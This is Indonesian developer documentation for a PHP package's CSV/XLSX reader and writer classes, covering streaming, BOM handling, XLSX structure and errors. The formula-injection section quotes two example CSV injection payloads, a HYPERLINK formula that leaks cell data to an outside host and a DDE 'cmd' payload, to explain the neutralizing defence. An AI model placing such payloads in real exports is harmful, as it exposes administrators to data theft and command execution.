CSV dan XLSX
Kedua format file dibaca dan ditulis langsung oleh package tanpa dependency spreadsheet tambahan: PandaPanel\Support\Spreadsheet\Csv dan PandaPanel\Support\Spreadsheet\Xlsx. Biasanya Anda tidak memanggil keduanya secara langsung — exporter dan importer melakukannya untuk Anda — tetapi penting untuk memahami jaminan yang diberikan keduanya, termasuk hal-hal yang sengaja tidak dilakukan oleh XLSX writer.
Gunakan halaman ini ketika file tidak terbuka seperti yang diharapkan, ketika Anda perlu menulis spreadsheet di luar panel, atau sebelum memutuskan untuk menambahkan library spreadsheet lain.
Contoh minimal yang berfungsi
use PandaPanel\Support\Spreadsheet\Csv;
use PandaPanel\Support\Spreadsheet\Xlsx;
$path = storage_path('app/private/report.csv');
$handle = Csv::open($path);
Csv::write($handle, ['Name', 'Email']);
Csv::write($handle, ['Grace Hopper', 'grace@example.test']);
fclose($handle);
foreach (Csv::read($path) as $row) {
// ['Name', 'Email'], then ['Grace Hopper', 'grace@example.test']
}
Xlsx::write(storage_path('app/private/report.xlsx'), [
['Name', 'Email'],
['Grace Hopper', 'grace@example.test'],
]);2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Kedua arah menggunakan streaming. Merakit export lima puluh ribu record penuh di memory hanya menunggu memory limit terjadi, dan membaca import menggunakan file() merupakan kegagalan yang sama dari arah sebaliknya.
SpreadsheetFormat
use PandaPanel\Actions\Enums\SpreadsheetFormat;
SpreadsheetFormat::Csv; // 'csv'
SpreadsheetFormat::Xlsx; // 'xlsx'2
3
4
| Method | Signature | Csv | Xlsx |
|---|---|---|---|
label | label(): string | CSV | Excel (XLSX) |
extension | extension(): string | csv | xlsx |
mimeTypes | mimeTypes(): array | text/csv, text/plain, application/csv | application/vnd.openxmlformats-officedocument.spreadsheetml.sheet, application/zip |
fromPath | static fromPath(string $path): self | apa pun yang tidak berakhir dengan .xlsx | extension .xlsx, case-insensitive |
SpreadsheetFormat::fromPath('/tmp/people.XLSX'); // SpreadsheetFormat::Xlsx
SpreadsheetFormat::fromPath('/tmp/people.txt'); // SpreadsheetFormat::Csv2
Enum dibuat tertutup karena setiap case harus memiliki reader dan writer yang benar-benar disediakan package. Format yang tidak memiliki reader bukanlah format yang dapat ditawarkan panel, dan menyatakan batas tersebut di type jauh lebih baik daripada baru menemukan ketidakcocokan saat runtime.
Extension hanyalah klaim, bukan bukti isi file. Karena itu reader tetap harus menghadapi file yang isinya tidak sesuai namanya, dan XLSX yang ternyata bukan zip akan melempar SpreadsheetException daripada menghasilkan data tidak masuk akal.
Csv
use PandaPanel\Support\Spreadsheet\Csv;
Csv::open(string $path); // returns a write handle
Csv::write($handle, array $row, bool $escapeFormulas = true): void;
Csv::neutralize(string $value): string;
Csv::read(string $path): Generator; // Generator<int, list<string>>2
3
4
5
6
open()
$handle = Csv::open($path);Membuka file dengan mode wb dan menulis UTF-8 byte-order mark sebelum mengembalikan handle. BOM membuat Excel membaca UTF-8 sebagai UTF-8, bukan sebagai code page milik host — perbedaan antara nama yang benar dan mojibake. Path yang tidak dapat dibuka akan melempar SpreadsheetException.
Tutup sendiri menggunakan fclose() setelah selesai.
write()
Csv::write($handle, ['Grace Hopper', 'grace@example.test']);
Csv::write($handle, $row, escapeFormulas: false);2
Satu row per pemanggilan melalui fputcsv($handle, $row, escape: ''). Escape character yang kosong mencegah mekanisme backslash escaping bawaan PHP ikut campur sehingga quoting file sesuai dengan yang diharapkan aplikasi spreadsheet.
neutralize() dan formula injection
Csv::neutralize('=HYPERLINK("http://x?"&A1,"Click")'); // "'=HYPERLINK(…"
Csv::neutralize('Grace Hopper'); // 'Grace Hopper'2
Cell CSV yang diawali salah satu dari =, +, -, @, tab, atau carriage return dianggap sebagai formula oleh Excel, LibreOffice, dan Sheets, lalu dievaluasi ketika file dibuka. =HYPERLINK("http://x?"&A1,"Click") dapat mengirim isi row di sebelahnya ke pihak yang menanam formula tersebut; =cmd|'/c calc'!A1 bahkan lebih buruk. Penyerangnya adalah siapa pun yang dapat menulis ke text field, sedangkan korbannya adalah administrator yang membuka hasil export — pola yang sangat mungkin terjadi pada admin panel. Ini adalah CWE-1236, dan CSV quoting tidak mencegahnya: quoting hanya mengatur parsing file, bukan arti sebuah cell setelah diparsing.
Tab dan carriage return termasuk dalam daftar karena Excel menghapus whitespace di depan sebelum menentukan apakah isi cell merupakan formula, sehingga "\t=cmd" tetap dianggap formula.
Perbaikannya adalah menambahkan apostrophe di depan nilai. Spreadsheet membacanya sebagai "cell ini adalah teks" dan tidak menampilkan apostrophe tersebut. Karena hal ini mengubah byte data, Exporter::escapesFormulas() dapat menonaktifkannya untuk feed yang dibaca program lain — pada kasus itu tidak ada evaluasi formula dan apostrophe justru menjadi korupsi data.
XLSX tidak memerlukan mekanisme ini: Xlsx menulis cell dengan t="inlineStr", sedangkan formula dalam XLSX berada di elemen <f> yang tidak pernah dihasilkan writer. String literal =SUM(A1) akan ditampilkan sebagai teks, bukan dieksekusi.
read()
foreach (Csv::read($path) as $row) {
// list<string>
}
$firstRow = null;
foreach (Csv::read($path) as $row) {
$firstRow = $row;
break; // the rest of the file is never read
}2
3
4
5
6
7
8
9
10
Mengembalikan generator sehingga caller menentukan sendiri seberapa banyak file yang ingin dibaca — ini yang membuat pembacaan heading saja tetap murah. Tiga normalisasi dilakukan saat membaca:
- Blank line (
[null]atau['']) dilewati, bukan dianggap record. - Setiap cell di-cast menjadi string;
nullmenjadi''. - Byte-order mark dihapus dari cell pertama pada row pertama, jika tidak maka heading pertama akan bernama
\u{FEFF}iddan tidak pernah cocok saat proses mapping.
Path yang tidak dapat dibuka akan melempar SpreadsheetException. Handle ditutup di dalam finally, sehingga generator yang dihentikan lebih awal tidak meninggalkan file handle terbuka.
Xlsx
use PandaPanel\Support\Spreadsheet\Xlsx;
Xlsx::write(string $path, iterable $rows, string $sheetName = 'Sheet1'): void;
Xlsx::read(string $path, int $maxXmlPartBytes = 67108864): Generator; // Generator<int, list<string>>2
3
4
XLSX adalah zip berisi bagian-bagian XML, dan penulisan satu workbook membutuhkan lima part: [Content_Types].xml, _rels/.rels, xl/_rels/workbook.xml.rels, xl/workbook.xml, dan xl/worksheets/sheet1.xml. Inilah alasan package menyediakan writer sendiri daripada memaksa dependency spreadsheet: membawa library adalah keputusan dependency, sedangkan kebutuhan ini hanya sekitar seratus baris implementasi format yang tidak berubah sejak 2007.
write()
Xlsx::write($path, [
['Name', 'Email'],
['Grace Hopper', 'grace@example.test'],
], sheetName: 'Users');2
3
4
Rows diterima sebagai iterable, sehingga export dapat memberikan lazy chunked query daripada array berisi seluruh data:
use Generator;
function rows(): Generator
{
yield ['Reference', 'Total'];
foreach (Order::query()->lazy(500) as $order) {
yield [$order->reference, (string) $order->total];
}
}
Xlsx::write($path, rows());2
3
4
5
6
7
8
9
10
11
12
Setiap cell ditulis sebagai inline string (t="inlineStr"). Angka yang ditulis sebagai inline string ditampilkan persis seperti diberikan, yang penting untuk order reference atau kode dengan leading zero — dua kasus ketika "bantuan" spreadsheet justru merusak data:
Xlsx::write($path, [['code'], ['007']]);
// reads back as '007', not 72
Dua hal dibersihkan sebelum ditulis: control character yang tidak valid di XML dihapus karena satu karakter saja dapat membuat seluruh workbook tidak dapat dibuka, lalu markup di-escape menggunakan htmlspecialchars(… ENT_QUOTES | ENT_XML1 …) sehingga <b>bold</b> & "quoted" ditulis sebagai teks dan dapat dibaca kembali secara identik.
Path yang tidak dapat dibuka untuk penulisan oleh ZipArchive akan melempar SpreadsheetException.
Hal yang sengaja tidak dilakukan writer
| Tidak didukung | Alasan |
|---|---|
| style, font, warna | export adalah tabel nilai |
| formula | alasan yang sama seperti keberadaan neutralize() |
| multiple sheet | hanya satu sheet, sheet1.xml |
| date cell | tanggal sudah diformat menjadi Y-m-d H:i:s sebelum sampai ke sini |
| shared-strings table | membutuhkan second pass atas seluruh data, trade-off yang salah untuk export streaming |
| column width, freeze pane, filter | tidak ada yang bertahan jika data melalui round trip CSV |
Nilai yang membutuhkan formatting harus diformat sebelum sampai ke writer — gunakan ExportColumn::formatUsing().
read()
foreach (Xlsx::read($path) as $row) {
// list<string>
}2
3
Membaca sheet pertama saja, dengan mencari xl/worksheets/sheet1.xml lalu xl/worksheets/Sheet1.xml. Reader menangani beberapa bentuk berikut:
- Shared strings. Workbook yang dibuat Excel biasanya menyimpan string di
xl/sharedStrings.xml, dan cell bertipesdi-resolve melalui file tersebut. String dengan mixed formatting terpecah menjadi beberapa<r>run dan digabung kembali, karena hanya membaca<t>pertama akan membuang kata-kata yang memiliki style. - Inline strings, yaitu format yang dihasilkan writer ini.
- Tipe lainnya menggunakan nilai
<v>sebagai fallback — ini membuat cell numerik buatan Excel terbaca sebagai angka yang ditulisnya. - Gap. Spreadsheet tidak menulis cell kosong sama sekali. Karena itu
A1danC1datang sebagai dua cell, tetapi cell kedua bukan berarti kolom kedua. Referencerpada tiap cell diterjemahkan kembali ke posisi dan row diisi hingga cell terakhir yang memiliki nilai, sehingga cell kosong di tengah tidak menggeser seluruh nilai setelahnya.
Setiap XML part yang dibaca dari zip dibatasi maksimal 64 MiB secara default sebelum diberikan ke SimpleXML, dan XML diparsing dengan network access dinonaktifkan. Parameter kedua tersedia untuk test atau import dengan kontrol ketat yang ingin batas lebih kecil; menaikkan batas tersebut adalah keputusan penggunaan memory.
Kegagalan akan melempar SpreadsheetException: file bukan zip (That file is not a readable spreadsheet.), XML part melewati batas (That spreadsheet is too large to read safely.), XML tidak dapat diparsing (That spreadsheet could not be read.), atau workbook tidak memiliki first sheet yang dapat dibaca (That workbook has no readable sheet.).
SpreadsheetException
use PandaPanel\Support\Spreadsheet\SpreadsheetException; // extends RuntimeExceptionException memiliki type sendiri agar import dapat membedakan "file ini bukan spreadsheet" dari "row ini tidak valid". Kasus pertama adalah kegagalan file yang perlu diberitahukan sekali kepada pengguna; kasus kedua adalah row yang harus dikumpulkan dan dikembalikan melalui failure report.
Pada queued import, exception sampai ke RunPanelImport::failed(), dan notification menggunakan pesan exception tersebut. Pesan seperti "That file is not a readable spreadsheet." memberi pengguna petunjuk perbaikan yang jauh lebih berguna daripada pesan generik.
Format yang digunakan pada setiap situasi
| Situasi | Format |
|---|---|
| dialog export | sesuai pilihan pengguna dari Exporter::formats() |
| upload import | ditentukan per file melalui SpreadsheetFormat::fromPath() |
| failure report | selalu CSV, apa pun format upload-nya |
Failure report selalu CSV karena file tersebut memang dimaksudkan untuk diperbaiki dan di-upload kembali, dan CSV dapat dibuka hampir di semua aplikasi spreadsheet.
Catatan
- Reading membutuhkan filesystem path nyata. CSV men-stream dari handle dan XLSX adalah zip yang dibuka
ZipArchiveberdasarkan nama file, sehingga keduanya tidak dapat membaca remote disk secara langsung. Karena itu disk importer harus local. - Writing menggunakan temporary file.
ExportRunmenulis ketempnam(sys_get_temp_dir(), 'panel-export-')kemudian men-stream hasilnya ke target disk, sehingga target export boleh berupa remote disk walaupun writer membutuhkan file local sementara. - CSV reader mengikuti panjang row dari file. Row yang memiliki lebih sedikit cell dibanding heading tidak memiliki nilai pada posisi yang hilang, dan kolom yang dimapping ke posisi tersebut membaca
''. fromPath()tidak pernah melakukan content sniffing. File.csvyang sebenarnya berisi XLSX akan dibaca sebagai CSV dan menghasilkan row gibberish, bukan error format.- BOM ditulis pada setiap CSV, termasuk failure report. Program yang mengonsumsi file tersebut harus mengantisipasinya.
Lihat juga
- Class exporter —
escapesFormulas(),formats(),chunkSize() - Class importer
- Kolom dan mapping
- Failure report
- Storage dan cleanup
- Action import dan export
- Testing helpers